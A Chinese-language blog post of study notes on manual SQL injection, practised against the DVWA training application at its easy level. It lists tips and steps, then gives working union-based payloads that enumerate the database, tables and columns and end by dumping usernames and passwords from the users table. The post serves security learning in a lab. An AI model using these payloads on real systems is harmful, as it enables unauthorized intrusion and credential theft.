实操

发布时间 2023-10-24 16:26:12作者: xyday

注意:

  1. burpsuite中、数据包中更改,很多地方需要url编码替换

image-20231018204302628

​ 最好直接用hackbar、网址栏注入

  1. 有时候--行,#不行。--和--+似乎一样的效果

  2. 先from,后where

  3. order by后,select 1,2,3,4 不如 select null,null,null 适配性广。有时候只能输出字符串,有时候只能输出数字,且每个位置能输出的格式也不一定相同,需要尝试

注释符:

# -- --+

SQL 注入手工分析步骤

  • 判断是否存在注入,注入是字符型还是数字型
    (1). 数字型: SQL语句一般不需要闭合 大多数不需要注释符号
    (2). 字符型: SQL语句需要闭合 或者需要注释符号

  • 猜解SQL查询语句中的字段数及字段顺序
    (1). order by: 对结果集按照一个列或者多个列进行排序。
    (2). UNION SELECT: 联合查询。

  • 获取当前数据库名
    (1). database()函数
    (2). user()函数

  • 获取数据库中的表名
    (1). group_concat(table_name)函数
    (2). information_schema表

  • 获取表中的字段名

  • 下载数据

easy

1' order by 2#

字段数为2

-1' union select 1,user() #

权限为root

-1' union select 1,database() #

数据库名为dvwa

-1' union select 1,version() #

版本为5.7,为mysql的5.0以上

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

dvwa数据库的两个表名为guestbook,users

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='guestbook' and table_schema='dvwa'#

guestbook表的列名为comment_id,comment,name

同理,users表的列名为user_id,first_name,last_name,user,password,avatar,last_login,failed_login

1' union select user,pass from dvwa.users#